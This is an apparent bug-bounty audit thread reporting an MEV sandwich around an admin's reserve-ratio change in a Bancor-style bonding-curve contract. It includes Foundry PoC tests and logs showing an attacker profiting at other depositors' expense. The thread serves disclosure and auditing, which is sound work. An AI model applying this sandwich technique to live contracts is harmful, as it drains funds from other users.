FM_BC_Bancor_Redeeming_VirtualSupply_v1.setReserveRatioForSelling vulnerable to MEV

[hats-bug-reporter[bot]]

Github username: -- Twitter username: rnemes4 Submission hash (on-chain): 0x7c5051743724c53fbbf6588201971e815fe828fa6829ce1e27f0ae2ad4917ba1 Severity: high

Description: Description\ FM_BC_Bancor_Redeeming_VirtualSupply_v1.setReserveRatioForSelling is susceptible to MEV attack if an attacker notices a reduction in the reserverRatioForSelling they could front run the transaction using a Flashloan to place a buy before the transaction and immediadetly sell after the transaction realising a profit in one transaction batch.

Attack Scenario\ with an initial setup

IFM_BC_Bancor_Redeeming_VirtualSupply_v1.BondingCurveProperties memory
            bc_properties = IFM_BC_Bancor_Redeeming_VirtualSupply_v1
                .BondingCurveProperties({
                formula: address(formula),
                reserveRatioForBuying: 333_333,
                reserveRatioForSelling: 333_333,
                buyFee: 0,
                sellFee: 0,
                buyIsOpen: true,
                sellIsOpen: true,
                initialIssuanceSupply: 1,
                initialCollateralSupply: 3
            });

1. Orchestrator calles setReserveRatioForSelling reducing the ratio from 333_333 to 333_133
2. Bob see this transaction in the mempool and decides to front run with a buy for 1_000_000e18 using a flashloan
3. Bob then backrunsthe Orchestrators transaction creating a sell for 1_000_000e18
4. Bob has made a profit of 1000010022715052240014003 - 1000000000000000000000000 = 10022715052240014003 in one transaction

Attachments

1. Proof of Concept (PoC) File Add the following test to the E2E test suite which proves the scenario

// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity ^0.8.0;

import "forge-std/console.sol";

// Internal Dependencies
import {
    E2ETest,
    IOrchestratorFactory_v1,
    IOrchestrator_v1
} from "test/e2e/E2ETest.sol";

import {ERC20Issuance_v1} from "@fm/bondingCurve/tokens/ERC20Issuance_v1.sol";

// SuT
import {
    FM_BC_Bancor_Redeeming_VirtualSupply_v1,
    IFM_BC_Bancor_Redeeming_VirtualSupply_v1
} from
    "test/modules/fundingManager/bondingCurve/FM_BC_Bancor_Redeeming_VirtualSupply_v1.t.sol";
import {IBondingCurveBase_v1} from
    "@fm/bondingCurve/interfaces/IBondingCurveBase_v1.sol";

contract BondingCurveFundingManagerE2EMEV2 is E2ETest {
    // Module Configurations for the current E2E test. Should be filled during setUp() call.
    IOrchestratorFactory_v1.ModuleConfig[] moduleConfigurations;

    ERC20Issuance_v1 issuanceToken;

    address alice = address(0xA11CE);
    uint aliceBuyAmount = 200e18;

    address bob = address(0x606);
    uint bobBuyAmount = 1_000_000e18;

    function setUp() public override {
        // Setup common E2E framework
        super.setUp();

        // Set Up individual Modules the E2E test is going to use and store their configurations:
        // NOTE: It's important to store the module configurations in order, since _create_E2E_Orchestrator() will copy from the array.
        // The order should be:
        //      moduleConfigurations[0]  => FundingManager
        //      moduleConfigurations[1]  => Authorizer
        //      moduleConfigurations[2]  => PaymentProcessor
        //      moduleConfigurations[3:] => Additional Logic Modules

        // FundingManager
        setUpBancorVirtualSupplyBondingCurveFundingManager();

        // BancorFormula 'formula' is instantiated in the E2EModuleRegistry

        IBondingCurveBase_v1.IssuanceToken memory issuanceToken_properties =
        IBondingCurveBase_v1.IssuanceToken({
            name: "Bonding Curve Token",
            symbol: "BCT",
            decimals: 18,
            maxSupply: type(uint).max - 1
        });

        address issuanceTokenAdmin = address(this);

        IFM_BC_Bancor_Redeeming_VirtualSupply_v1.BondingCurveProperties memory
            bc_properties = IFM_BC_Bancor_Redeeming_VirtualSupply_v1
                .BondingCurveProperties({
                formula: address(formula),
                reserveRatioForBuying: 333_333,
                reserveRatioForSelling: 333_333,
                buyFee: 0,
                sellFee: 0,
                buyIsOpen: true,
                sellIsOpen: true,
                initialIssuanceSupply: 1,
                initialCollateralSupply: 3
            });

        moduleConfigurations.push(
            IOrchestratorFactory_v1.ModuleConfig(
                bancorVirtualSupplyBondingCurveFundingManagerMetadata,
                abi.encode(
                    issuanceToken_properties,
                    issuanceTokenAdmin,
                    bc_properties,
                    token
                )
            )
        );

        // Authorizer
        setUpRoleAuthorizer();
        moduleConfigurations.push(
            IOrchestratorFactory_v1.ModuleConfig(
                roleAuthorizerMetadata, abi.encode(address(this))
            )
        );

        // PaymentProcessor
        setUpSimplePaymentProcessor();
        moduleConfigurations.push(
            IOrchestratorFactory_v1.ModuleConfig(
                simplePaymentProcessorMetadata, bytes("")
            )
        );

        // Additional Logic Modules
        setUpBountyManager();
        moduleConfigurations.push(
            IOrchestratorFactory_v1.ModuleConfig(
                bountyManagerMetadata, bytes("")
            )
        );
    }

    function test_e2e_OrchestratorFundManagementPOC1() public {
        // address(this) creates a new orchestrator.
        IOrchestratorFactory_v1.WorkflowConfig memory workflowConfig =
        IOrchestratorFactory_v1.WorkflowConfig({
            independentUpdates: false,
            independentUpdateAdmin: address(0)
        });

        IOrchestrator_v1 orchestrator =
            _create_E2E_Orchestrator(workflowConfig, moduleConfigurations);

        FM_BC_Bancor_Redeeming_VirtualSupply_v1 fundingManager =
        FM_BC_Bancor_Redeeming_VirtualSupply_v1(
            address(orchestrator.fundingManager())
        );

        issuanceToken = ERC20Issuance_v1(fundingManager.getIssuanceToken());

        token.mint(alice, aliceBuyAmount);
        token.mint(bob, bobBuyAmount);

        uint buf_minAmountOut =
            fundingManager.calculatePurchaseReturn(aliceBuyAmount); // buffer variable to store the minimum amount out on calls to the buy and sell functions

        vm.startPrank(alice);
        {
            // Approve tokens to orchestrator.
            token.approve(address(fundingManager), aliceBuyAmount);

            // Deposit tokens, i.e. fund the fundingmanager.
            fundingManager.buy(aliceBuyAmount, buf_minAmountOut);

            // After the deposit, alice received some amount of receipt tokens
            // from the fundingmanager.
            assertTrue(issuanceToken.balanceOf(alice) > 0);
        }
        vm.stopPrank();

        buf_minAmountOut = fundingManager.calculatePurchaseReturn(bobBuyAmount);

        uint bobTokenBalanceBefore = token.balanceOf(bob);
        console.log("Bob tokewn balance before: ", token.balanceOf(bob));

        // Bob performs a buy
        vm.startPrank(bob);
        {
            // Approve tokens to fundingmanager.
            token.approve(address(fundingManager), bobBuyAmount);

            // Deposit tokens, i.e. fund the fundingmanager.
            fundingManager.buy(bobBuyAmount, buf_minAmountOut);

            // After the deposit, bob received some amount of receipt tokens
            // from the fundingmanager.
            assertTrue(issuanceToken.balanceOf(bob) > 0);
        }
        vm.stopPrank();

        console.log(
            "token.balanceOf(address(fundingManager))",
            token.balanceOf(address(fundingManager))
        );

        vm.prank(address(this));
        fundingManager.setReserveRatioForSelling(331_333);

        buf_minAmountOut =
            fundingManager.calculateSaleReturn(issuanceToken.balanceOf(bob));

        // Bob Backruns Alice's buy
        vm.startPrank(bob);
        {
            // Approve tokens to fundingmanager.
            issuanceToken.approve(
                address(fundingManager), issuanceToken.balanceOf(bob)
            );

            fundingManager.sell(issuanceToken.balanceOf(bob), buf_minAmountOut);
            assertApproxEqRel(token.balanceOf(bob), bobBuyAmount, 0.00001e18); // ensures that the imprecision introduced by the math stays below 0.001%
        }
        vm.stopPrank();

        uint bobTokenBalanceAfter = token.balanceOf(bob);
        console.log("Bob tokewn balance after: ", token.balanceOf(bob));
        console.log(
            "Bob profit: ", bobTokenBalanceAfter - bobTokenBalanceBefore
        );
    }
}

Output

Logs:
  Bob token balance before:  1000000000000000000000000
  token.balanceOf(address(fundingManager)) 1000200000000000000000000
  Error: a ~= b not satisfied [uint]
          Left: 1000010022715052240014003
         Right: 1000000000000000000000000
   Max % Delta: 0.001000000000000000
       % Delta: 0.001002271505224000
  Bob token balance after:  1000010022715052240014003
  Bob profit:  10022715052240014003

2. Revised Code File (Optional)

[PlamenTSV]

127 has the same semantic, different exploit route.

All in all, the same vulnerability, it being that a change in the reserves causes MEV threat.

[Jonsey]

I disagree as this threat is due to an admin change in the contract parameters, the other is sandwiching a user deposit.

@PlamenTSV

[0xmahdirostami]

@Jonsey thanks for this, yes it's not a duplicate.

But there are some issues in your report.

Bob see this transaction in the mempool and decides to front run with a buy for 1_000_000e18 using a flash loan

First: the attack is not runnable via flash Loan, in your POC as you see you are creating two separate transactions.

Second: it's not about seeing transactions in the mempool, everyone after reducing ReserveRatioForSelling will gain some more.

No issue at all.

If it's runnable via Flash Loan, there will be an issue.

[Jonsey]

This POC is an emulation of a flashbots transaction bundle, the mints at the beginning of the POC, represent the Flashloan i.e Attacker (bob) gains a large amount of the collateral tokens somehow, probably via flashloan, or he may already have them. He then creates a sandwich via Flashbots bundle, sandwiching the setReserveRatioForSelling transaction.

Sorry the POC is a little confusing.

The initial buy from Alice is just to add some collateral in order to show that bob will be able to take collateral supplied by other users from the contract.

So that the set up

Bob then sees the fundingManager.setReserveRatioForSelling(331_333); transaction and sandwiches that transaction for profit in one bundle containing 3 transactions

1. Bob buys
2. fundingManager.setReserveRatioForSelling(331_333);
3. Bob sells

Bob makes profit and takes collateral supplied by Alice (or any other users that have deposited before this attack)

[0xmahdirostami]

By two transactions, I mean these:

@> Bob buys

fundingManager.setReserveRatioForSelling(331_333);

@> Bob sells

Two separate buys and sells, aren't runnable via flash loan.

But let me think more about it, seems like the first one who sells after a decrease in setReserveRatioForSelling gains more funds. Besides that, it depends on the frequency that this function is called. Daily, weekly, or rarely.

[0xmahdirostami]

// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity ^0.8.0;

import "forge-std/console.sol";

// Internal Dependencies
import {
    E2ETest,
    IOrchestratorFactory_v1,
    IOrchestrator_v1
} from "test/e2e/E2ETest.sol";

import {ERC20Issuance_v1} from "@fm/bondingCurve/tokens/ERC20Issuance_v1.sol";

// SuT
import {
    FM_BC_Bancor_Redeeming_VirtualSupply_v1,
    IFM_BC_Bancor_Redeeming_VirtualSupply_v1
} from
    "test/modules/fundingManager/bondingCurve/FM_BC_Bancor_Redeeming_VirtualSupply_v1.t.sol";
import {IBondingCurveBase_v1} from
    "@fm/bondingCurve/interfaces/IBondingCurveBase_v1.sol";

contract BondingCurveFundingManagerE2EMEV2 is E2ETest {
    // Module Configurations for the current E2E test. Should be filled during setUp() call.
    IOrchestratorFactory_v1.ModuleConfig[] moduleConfigurations;

    ERC20Issuance_v1 issuanceToken;

    address alice = address(0xA11CE);
    uint aliceBuyAmount = 200e18;

    address karen = address(0xA111CE);
    uint karenBuyAmount = 200e18;

    address bob = address(0x606);
    uint bobBuyAmount = 1_000_000e18;

    function setUp() public override {
        // Setup common E2E framework
        super.setUp();

        // Set Up individual Modules the E2E test is going to use and store their configurations:
        // NOTE: It's important to store the module configurations in order, since _create_E2E_Orchestrator() will copy from the array.
        // The order should be:
        //      moduleConfigurations[0]  => FundingManager
        //      moduleConfigurations[1]  => Authorizer
        //      moduleConfigurations[2]  => PaymentProcessor
        //      moduleConfigurations[3:] => Additional Logic Modules

        // FundingManager
        setUpBancorVirtualSupplyBondingCurveFundingManager();

        // BancorFormula 'formula' is instantiated in the E2EModuleRegistry

        IBondingCurveBase_v1.IssuanceToken memory issuanceToken_properties =
        IBondingCurveBase_v1.IssuanceToken({
            name: "Bonding Curve Token",
            symbol: "BCT",
            decimals: 18,
            maxSupply: type(uint).max - 1
        });

        address issuanceTokenAdmin = address(this);

        IFM_BC_Bancor_Redeeming_VirtualSupply_v1.BondingCurveProperties memory
            bc_properties = IFM_BC_Bancor_Redeeming_VirtualSupply_v1
                .BondingCurveProperties({
                formula: address(formula),
                reserveRatioForBuying: 333_333,
                reserveRatioForSelling: 333_333,
                buyFee: 0,
                sellFee: 0,
                buyIsOpen: true,
                sellIsOpen: true,
                initialIssuanceSupply: 1,
                initialCollateralSupply: 3
            });

        moduleConfigurations.push(
            IOrchestratorFactory_v1.ModuleConfig(
                bancorVirtualSupplyBondingCurveFundingManagerMetadata,
                abi.encode(
                    issuanceToken_properties,
                    issuanceTokenAdmin,
                    bc_properties,
                    token
                )
            )
        );

        // Authorizer
        setUpRoleAuthorizer();
        moduleConfigurations.push(
            IOrchestratorFactory_v1.ModuleConfig(
                roleAuthorizerMetadata, abi.encode(address(this))
            )
        );

        // PaymentProcessor
        setUpSimplePaymentProcessor();
        moduleConfigurations.push(
            IOrchestratorFactory_v1.ModuleConfig(
                simplePaymentProcessorMetadata, bytes("")
            )
        );

        // Additional Logic Modules
        setUpBountyManager();
        moduleConfigurations.push(
            IOrchestratorFactory_v1.ModuleConfig(
                bountyManagerMetadata, bytes("")
            )
        );
    }

    function test_e2e_OrchestratorFundManagementPOC1() public {
        // address(this) creates a new orchestrator.
        IOrchestratorFactory_v1.WorkflowConfig memory workflowConfig =
        IOrchestratorFactory_v1.WorkflowConfig({
            independentUpdates: false,
            independentUpdateAdmin: address(0)
        });

        IOrchestrator_v1 orchestrator =
            _create_E2E_Orchestrator(workflowConfig, moduleConfigurations);

        FM_BC_Bancor_Redeeming_VirtualSupply_v1 fundingManager =
        FM_BC_Bancor_Redeeming_VirtualSupply_v1(
            address(orchestrator.fundingManager())
        );

        issuanceToken = ERC20Issuance_v1(fundingManager.getIssuanceToken());

        token.mint(alice, aliceBuyAmount);
        token.mint(karen, karenBuyAmount);
        token.mint(bob, bobBuyAmount);

        uint aliceTokenBalanceBefore = token.balanceOf(alice);
        uint karenTokenBalanceBefore = token.balanceOf(karen);
        console.log("alice tokewn balance before: ", token.balanceOf(alice));
        console.log("karen tokewn balance before: ", token.balanceOf(karen));

        uint buf_minAmountOut =
            fundingManager.calculatePurchaseReturn(aliceBuyAmount);

        vm.startPrank(alice);
        {
            token.approve(address(fundingManager), aliceBuyAmount);

            fundingManager.buy(aliceBuyAmount, buf_minAmountOut);
        }
        vm.stopPrank();

        buf_minAmountOut =
            fundingManager.calculatePurchaseReturn(karenBuyAmount);

        vm.startPrank(karen);
        {
            token.approve(address(fundingManager), karenBuyAmount);
            fundingManager.buy(karenBuyAmount, buf_minAmountOut);
        }
        vm.stopPrank();

        buf_minAmountOut = fundingManager.calculatePurchaseReturn(bobBuyAmount);

        uint bobTokenBalanceBefore = token.balanceOf(bob);
        console.log("Bob tokewn balance before: ", token.balanceOf(bob));

        // Bob performs a buy
        vm.startPrank(bob);
        {
            // Approve tokens to fundingmanager.
            token.approve(address(fundingManager), bobBuyAmount);

            // Deposit tokens, i.e. fund the fundingmanager.
            fundingManager.buy(bobBuyAmount, buf_minAmountOut);

            // After the deposit, bob received some amount of receipt tokens
            // from the fundingmanager.
            assertTrue(issuanceToken.balanceOf(bob) > 0);
        }
        vm.stopPrank();

        console.log(
            "token.balanceOf(address(fundingManager))",
            token.balanceOf(address(fundingManager))
        );

        vm.prank(address(this));
        fundingManager.setReserveRatioForSelling(331_333);

        buf_minAmountOut =
            fundingManager.calculateSaleReturn(issuanceToken.balanceOf(bob));

        vm.startPrank(bob);
        {
            issuanceToken.approve(
                address(fundingManager), issuanceToken.balanceOf(bob)
            );

            fundingManager.sell(issuanceToken.balanceOf(bob), buf_minAmountOut);
        }
        vm.stopPrank();

        uint bobTokenBalanceAfter = token.balanceOf(bob);
        console.log("Bob tokewn balance after: ", token.balanceOf(bob));
        console.log(
            "Bob profit: ", bobTokenBalanceAfter - bobTokenBalanceBefore
        );

        buf_minAmountOut =
            fundingManager.calculateSaleReturn(issuanceToken.balanceOf(alice));

        vm.startPrank(alice);
        {
            issuanceToken.approve(
                address(fundingManager), issuanceToken.balanceOf(alice)
            );
            fundingManager.sell(
                issuanceToken.balanceOf(alice), buf_minAmountOut
            );
        }
        vm.stopPrank();

        uint aliceTokenBalanceAfter = token.balanceOf(alice);
        console.log("alice tokewn balance after: ", token.balanceOf(alice));
        console.log(
            "alice profit: ", aliceTokenBalanceAfter - aliceTokenBalanceBefore
        );

        buf_minAmountOut =
            fundingManager.calculateSaleReturn(issuanceToken.balanceOf(karen));

        vm.startPrank(karen);
        {
            issuanceToken.approve(
                address(fundingManager), issuanceToken.balanceOf(karen)
            );
            fundingManager.sell(
                issuanceToken.balanceOf(karen), buf_minAmountOut
            );
        }
        vm.stopPrank();

        uint karenTokenBalanceAfter = token.balanceOf(karen);
        console.log("karen tokewn balance after: ", token.balanceOf(karen));
        console.log(
            "karen profit: -", karenTokenBalanceBefore - karenTokenBalanceAfter
        );
    }
}

[PASS] test_e2e_OrchestratorFundManagementPOC1() (gas: 4831164)
Logs:
  alice tokewn balance before:  200000000000000000000
  karen tokewn balance before:  200000000000000000000
  Bob tokewn balance before:  1000000000000000000000000
  token.balanceOf(address(fundingManager)) 1000400000000000000000000
  Bob tokewn balance after:  1000018452833225582374111
  Bob profit:  18452833225582374111
  alice tokewn balance after:  378291602676356633434
  alice profit:  178291602676356633434
  karen tokewn balance after:  3255564098060992435
  karen profit: - 196744435901939007565

it seems like users who sell earlier gain more and the last user or maybe the last users lose some funds.

I think the reverse of it will be the same as well.

If the owner setReserveRatioForSelling to higher values, users who sell earlier lose more and the last user or maybe the last users gain some funds.

[FHieser]

Indeed it changes the value setup of the inherent tokens, but this is kind of by the design of the function I would say. The thing you gain via the MEV is essentially insider information of the change. In an ideal world the Admin of the curve will inform its users in previous information post of the change and everyone has the same chances then. I would say this to be informational at worst and maybe low Finding at best.

[Jonsey]

I would say there is still a risk of a MEV bot catching the transaction before any users, even if they were pre-warned about the change. The MEV bot does not need to be a user of the protocol and can just take advantage of the change for profit and adversely affecting actual users of the protocol.

@FHieser

[FHieser]

Yeah but users could setup their own MEV Bot and compete for it I think this is all about who gets the information first

[Jonsey]

Given that we agree that there is a MEV opportunity that benefits the MEV finder and adversely affects all other users, would it possibly be worth implementing some sort of dynamic update of the reserve ratio at each buy or sell?

[Jonsey]

Hi @FHieser any further update on this one?

[FHieser]

I marked it low to inform users that want to read up on the audit, that this is something that might come up. Low with the reasoning I gave above.

[FHieser]

After some discussion we decided to upgrade this to a medium finding as it has quite similar nuances as #155

[0xmahdirostami]

@FHieser thank you